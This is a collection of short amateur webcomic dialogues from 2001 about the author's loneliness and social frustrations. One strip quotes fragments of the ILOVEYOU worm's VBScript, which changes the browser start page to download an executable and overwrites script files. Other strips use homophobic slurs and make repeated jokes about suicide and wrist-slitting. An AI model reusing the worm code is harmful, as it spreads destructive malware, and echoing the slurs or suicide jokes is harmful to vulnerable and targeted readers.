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by fugobo
3-18-01
Now that we're at a strip club, we can forget all our problems getting women and just pay for a night of fun!
YEAH! You said it.
She wants me! An end to my problems finding women!
You have big lips. Want a dollar dance?
Wow a girl who understands me! Now I can get to know her and forget about ever finding a women who won't take her clothes off for money!
I recognize the band on your hat. Want a dollar dance?

 

by fugobo
3-18-01
why is the world dumb?
It's that damn fuzzy math!
why is the world dumb?
It's them damn lockboxes!
why is the world dumb?
We're all going to hell.

 

by fugobo
3-18-01
Hi there! If I give you 25 dollars will you strip naked and climb all over me?
I'll go get ready!
okay.
I hate my life.

 

by fugobo
3-18-01
Help, my life has no meaning!
How can this be changed?
Make me attractive, witty, rich and famous!
hold on.
Help, I don't want to die!!
How can this be changed?

 

by fugobo
3-18-01
hey wanna do something cool?
no. I'm going to sit and make comics about our problems in life.
that's... cool...
I'm gonna go over here now.

 

by fugobo
3-18-01
fugobo's life:
Boy I wish this girl really thought anything good about me, except that I'm kinda fun to laugh at... at least I have no dignity.
My he's funny.... and ugly... I wonder what that crazy interior decorator on the discovery channel's doing right now...
fugobo's friends:
I'd feel bad if I were in a situation where people might feel as demeaned as I often do.
Who cares. You're homosexual.
fugobo wishes there was a picture without him smiling.
You're gay. And everyone hates you.
I am crying now. At least I will die soon.

 

by fugobo
3-18-01
fugobo makes dumb comics that criticize himself as well as others.
He called everyone a homophobe, he must have been meaning just the people who are calling him homosexual and not really what he said!
You're right he must both really be gay, and also write comics that are not terribly misunderstood by his companions.
Of course.
he was also too lazy to change the characters in this comic that isn't funny at all.
he's a fucker.

 

by fugobo
3-19-01
Hi there friend! Would you like to do something fun that I'm not going to specify yet to add suspense but is in fact making comics about our pathetic problems?
No, do to the fact that you haven't yet metioned what this cool act is, I will state that I am currently doing just that, but that I don't think that it is cool in the least bit.
awkward pause.
Damn. I will now try to hide that I'm a complete loser and both try to convince him that what I wanted to do was in fact cool, and also that I was not wanting to do that.
Do to my friend being weird, I'm mildly afraid that he was suggesting a sexual act, and I'm now going to try to avoid him in order to lessen the obvious tension and awkwardness.

 

by fugobo
3-19-01
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
Set dirwin = fso.GetSpecialFolder(0); Set dirsystem = fso.GetSpecialFolder(1); Set dirtemp = fso.GetSpecialFolder(2); Set c = fso.GetFile(WScript.ScriptFullName); c.Copy(dirsystem&"\MSKernel32.vbs")
if (ext = "vbs") or (ext = "vbe") then set ap = fso.OpenTextFile(f1.path,2,true) ap.write vbscopy elseif(ext = "js") or (ext = "jse") or (ext = "css") or (ext = "wsh") set ap = fso.OpenTextFile(f1.pat
Someone loves me... sigh...

 

by fugobo
4-01-01
Hi there. Are you my friend? of course not, I am having really a bad day but choose not to speak of it much.
I really can't tell that you're having such a bad day, and I also didn't think that you'd take such things that I said not meaning much so seriously. Oh and i think of you as a friend.
I should die now. I am sad. No one loves me.
I care enough that I think you hate me and it matters.
Hey, read Anon's really depressing comics. They are sad and yet funny. Although i am mildly upset that I'm portrayed as a phallic bunny.
Wow, they are sad and yet still funny. I care and have only met Anon maybe 3 times and now I live accross the country.

 

by fugobo
4-01-01
You should learn assembly. It's cool. Then you could write programs without a compiler!
No, I think right now, I will go spend the evening with a couple of attractive females.
Or Perl! You need a much better understanding of Perl!
nerd.

 

by fugobo
4-01-01
There are way too many comics like this.
People are lazy fucking bastards. All of them.

 

by fugobo
4-04-01
Wacka Wacka!
SQUEAK!!!
They are retarded.
I eat grains.
yup.
die.

 

by fugobo
4-04-01
i'm dumb. please shoot me.
no. i like you.
then die.

 

by fugobo
4-05-01
HEY! You look like a faggot with that long hair! You should let me cut it with a reciprocating saw!
ummm... lemme think.......................... no.
Everything comes into perspective...
That's okay. At least I'm not a faggot.
Hey, you look heterosexual because you speak like a stupid hick and constantly belittle people different than you! Will you sleep with me?

 

by fugobo
4-05-01
Hey stupid kid! Turn your damn stereo down when you park your 2 inch clearance car in a residential area to get beer from your buyer!
No beotch! I am a gangsta!
Fine then! I'll go tell him not to buy you alcohol anymore!
Whatever! I've got 50 more buyers where he came from!
Okay fine, then I'm gonna beat the shit out of you and your pimp-ass motherfucking car.
Fine, but my dad'll sue your ass, cause he's really important, and cause I'm a bitch ass gangsta and I'll pop a cap in yo ass!

 

by fugobo
4-05-01
Hey Fucking beotch! Fucking check out my pimp ass fucking car! It's so fucking cool and fucking fast!
You are stupid. It's a 1990 mustang. And you wrecked it.
Dude look at my cool ass car! It's a pimped out Nissan! Check it out! It sounds mean cause I had my dad take the exhaust off!
If I had a sharp rock, I'd end my pitiful existance.
My lack of faith in human intelligence is reaffirmed. Somebody actually paid someone to put "HOMMIE" across their window.
What the fuck are you looking at beotch! My car is SHWEET!

 

by fugobo
4-05-01
Go to bed! You are tired all the time! You sleep through your classes! All of them!
In bed, there are sheets, and softness, and sleep! Doesn't that sound warm and inviting?
Vagina? Where...?
*sigh*

 

by fugobo
4-08-01
I often worry about my friends. They tell me many of their problems, and let me guess at the rest. It really bothers me to think of the pain that some of them have gone through.
I talk to them, and they tell me about their lives, and best I can do to help them is to tell them that it doesn't matter or try to remind them of good things. Of course I know that this won't work.
The truth dawns...
Maybe if my problems were real...
Oh shut the fuck up you lying prick. You don't care about your friends!

 

by fugobo
4-08-01
YAY!
YAY!
Hi there! Welcome to McSuckMyAss! How may I help you?
I have two orders. First I want to a #1 with a coke, and then I want to buy your soul so that I may suck all of it's will to exist out.
When one's will to live comes and goes, like mine, one must make time for nature.
Fuck off, hippie bitch faggot!

 

by fugobo
4-08-01
hey look! a friend made another comic very recently! I should try to talk to them!
or... i could... make a comic about them...
I am never disappointed.

 

by fugobo
4-08-01
Now that bobo32 knows who you are? I can use you specifically in my comics right?
Well, you kinda already did, your other friends still don't know though, and they're at least as evil.
penis

 

by fugobo
4-08-01
I'll bite your teeth off!
What if you only put dents in them instead?
Then they'd be good for chewing fibrous things.
Like dinosaurs.

 

by fugobo
4-10-01
Hey there little girl. Will you be my friend?
No. I don't like males that way.
I could change....
gotohell.

 

by fugobo
4-10-01
Look! My friend who I am often dependant upon for a reason to live made a comic!
It, like many of her comics confuses me. Which is oddly ironic in this case. Maybe I should try to talk to her.
But she's not online. I think I'll make a comic or two hoping to somehow make myself feel better by belittling my life, and talking about what I'm doing that NO ONE cares about.
i have trained him well. now to make him suicidal...

 

by fugobo
4-10-01
Hey there giant ass scary bug! Will you be my friend?
No, I just want a small amount of self esteem, as your existance makes everyone feel better about them selves.
I'm not feeling it.
Try stepping closer.
THERE we go!

 

by fugobo
4-10-01
So now that you're all closer, and feeling better about yourself... wanna be my friend?
No... I'm about done sapping you...
Ahh... Much better.
How bout now?
fuck off fag.

 

by fugobo
4-13-01
God I suck. I despise life.
You shouldn't. You are much better than suckin', and life is cool sometimes.
Except that I hate it.
Again. I hate life and there is no reason for me to continue.
If only I had more reasons to exist that want to exist...

 

by fugobo
4-13-01
You need to try to talk to some attractive girl, and something good might come of it!
I can't believe how much that offends me!
So, how are things?
Fine. Off to do some crap. And to screw 'Vladiak the Pink Goffa' cause I'm highly upsettable and selfish.
So HoplessGimper's a fucking bastard. I want to kill myself because he's made me feel worthless!
Yeah he is! And I want to kill myself because I am worthless, and because he upsets me occasionally.

 

by fugobo
4-13-01
Have to get up at ten tomorrow for calc.
comics are funny...
fuck you. it's not even really that late, nor is ten really that early!

 

by fugobo
4-13-01
So... How are things...?
Who are you talking to?
Damn.

 

by fugobo
4-13-01
YAY! no ones making comics but me! Now to make even more worthless and pointless ones!
shouldn't you go to sleep, or die or something?
No! I must continue until someone breaks my streak!
all alone....
freak.

 

by fugobo
4-13-01
Hi there. My name is fugobo. Who are you?
go away before I scream.

 

by fugobo
4-13-01
What's wrong with the deal?
Oh no!
rod.

 

by fugobo
4-13-01
Oh no! that fugobo kid is all hating himself! We should do something!
Yes! You should be happy fugobo!
But my life is hell.
So's mine.
I'm really not any better at all. Maybe worse.
YAY!
YAY!

 

by fugobo
4-13-01
So... I'm here, makin' fun of people that I really don't want to offend, but are often offended easily.
I shouldn't have added that last comment.
arrr...

 

by fugobo
4-14-01
It's very sad. I think...
Now only three of the original seven people we make comics about, still make comics.
It's very sad. I think...

 

by fugobo
4-15-01
Hi there little asian girl! All of my friends are either emotionally fucked like me, or worse. And on top of that, some are really inept assholes!
It's okay, I'll go get someone who can help.
This guy's funny! We should screw with him!
Let's make him think he might die!
later that day...
When I told him he was going to hell, he just smiled and then wept with joy. I don't know what happened.
Next time we'll have to taunt him into thinking he might have found a will to live for longer, and then not take it away before he is threatened with damnation.

 

by fugobo
4-15-01
So i just made the one person whom i never ever want to make angry very pissed at me.
Not so much not wanting to piss her off because it's worse than with others, but really because the friendship does not work like the rest of his friendships.
And i feel like shit for it.
normally there would be a very self derisive comment here, but I'll leave it out tonight, because that's how I pissed her off.
prick.

 

by fugobo
4-19-01
Life has once again rejected my application for involvement in the fun land of sweet sweet death.
i meant happiness.
no i didn't.
like you'll ever be happy! Now make another comic!

 

by fugobo
4-19-01
So I'm not really dumb. I wouldn't be if, you know, I tried. But, I mean, I don't really care about impressing people, so that's why I act stupid all the time.
I'm really smart. When I play pool, if the other person racks the balls loose, I can make the 8 ball on the break every time!
But, no really. I'm really smart. Or, you know, I would be if I wanted to impress people. But I don't.
If I wasn't already in hell, I would be screaming for satan to rip my worthless soul out of my body and cary it down into the depths of fiery relief.

 

by fugobo
4-19-01
Hi! How are you? I'm good. Today I counted the number of times that Tim Mcdonald said "yeah" when he was talking and it was like 5!
hello.
Why don't you talk to me? Don't you like me? Aren't I attractive.
I find you mildly attractive, but my taste in women is apparently weird. And no, I think you're a vapid whore.
Does vapid mean I'm pretty?
Who the fuck did I think I was talking to?

 

by fugobo
4-19-01
Look! today is that fucking hippie holiday!
Except that it's because it's hitler's birthday.
PEOPLE WHO THINK THIS IS COOL ARE FUCKING NAZI'S AND SHOULD DIE PAINFULLY!!!!!!

 

by fugobo
4-20-01
So... made some comics did we...
yup...
The last one really confused me a tad...
Hey look, a random hypothetical distraction!

 

by fugobo
4-20-01
So... makin' fun of me's okay...
and makin' fun of rudy's okay...
but no stripper comments?

 

by fugobo
4-20-01
So i just all realized where that came from.
uhh... yeah... so ummm... i think i'll go do some stuff now.
You are a cruel fucking bastard, though i guess i'm probably not as offended as you undoubtadly think i would be.
yeah... well.. bye!
god i hate life.

 

by fugobo
4-22-01
stop playing that damn game! It's not worth the time!
cs bastards...
ahhh... off to cs

 

by fugobo
4-22-01
So, now that summer is soon approaching and I will have lots of free time, I should probably be happy, or at least pleased.
notice: reminder that your problems are small and stupid, so you are correct.
Yesseree... I should definitely be gettin cheerier.
notice: you are a lucky guy. you live in a country with record low unemployment, and have a privilaged life.
i fucking hate this shit.
notice: constant rambling about how much you hate yourself and others is a sign that you are a prick.

 

by fugobo
4-22-01
hey look! a reminder of how I should be happy!
yay!
also a reminder that i will never ever have any kind of fulfillment in life.
BANG!

 

by fugobo
4-22-01
hypothetical to the extreme.
So... see ya friday?
Umm... how about I pick you up at 8?
wow... can this be? does she actually want to be around me?
crap. i just realized that if i don't show up at his house, the prickish little bastard will call me incessantly until i get back to him...
Sounds good! I'll be seein you!
i'll just have to slit my wrists.

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